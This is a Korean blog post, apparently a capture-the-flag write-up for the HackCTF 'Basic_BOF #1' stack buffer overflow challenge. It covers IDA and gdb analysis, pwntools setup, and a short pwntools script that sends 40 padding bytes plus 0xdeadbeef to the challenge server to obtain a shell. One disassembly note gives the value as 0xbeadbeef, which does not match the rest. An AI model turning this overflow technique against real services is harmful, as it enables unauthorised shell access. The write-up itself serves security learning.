본문으로 바로가기

hack CTF - Basic_BOF #1

category CTF Study 2020. 7. 18. 03:31

 

 

문제를 분석하기 위해 실행을 파일다운 받아 디버깅 해보자

 

가장쉬운 방법은 아이다를 통해 분석하는것이다

 

친절하게 s의 위치는 34(hex)이고

v5의 위치는 c(hex)값임으로

 

두 변수의 메모리차는 40(dec)이다

 

소스를 보면 v5에 0xdeadbeef라는 값이 오면 쉘을 얻을수 있음으로

 

bof를 이용하여 a*40해준다음 0xdeadbeef를 입력하면된다.

 

 

 

+

Pwntools 을 설치하자

 

1. apt-get install python2.7-dev python-pip

2. pip install pwntools

3. apt-get install libcapstone-dev

(만약 2번째에서 3번째로 넘어갈 경우에 404 NOT FOUND가 뜨면 apt-get update하기.)

 

스크립트작성

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3000)

key=0xdeadbeef
x="a"*40
x+= p32(key)
p.sendline(x)
#p=process("./")
p.interactive()

 

이후 쉘을 얻어 flag를 읽으면 된다

 

gdb를 사용하여 

#gdb bof_basic

#disas main

 

분석하기 쉽게 intel 언어로 바꿔준다.

#set disassembly-flavor intel

 

#disas main

 

<+17> 0xc 자리에 0x4030201를 넣어준다

 

<+35> 0x34 자리에 인자값을 넣어준다

 

<+95> 0xc자리 데이터와 0xbeadbeef를 비교해준다

 

 

 

디버깅 과정

 

b* main+44: 입력받은 다음의 브레이크 포인트를 걸어줘서 데이터가 잘들어갔는지 확인한다

 

r:브레이크포인트까지 실행

값입력

 

x/24wx $ebp -0x34

=>0x34위치부터 데이터값들 표시

x/s $ebp -0x34

=>0x34위치부터 데이터값들 문자열로 표시

x/24wx $ebp -0xc

=>0xc위치부터 데이터값들 표시

'CTF Study' 카테고리의 다른 글

2023-CODEGATE Music Player (web)  (0) 2023.07.05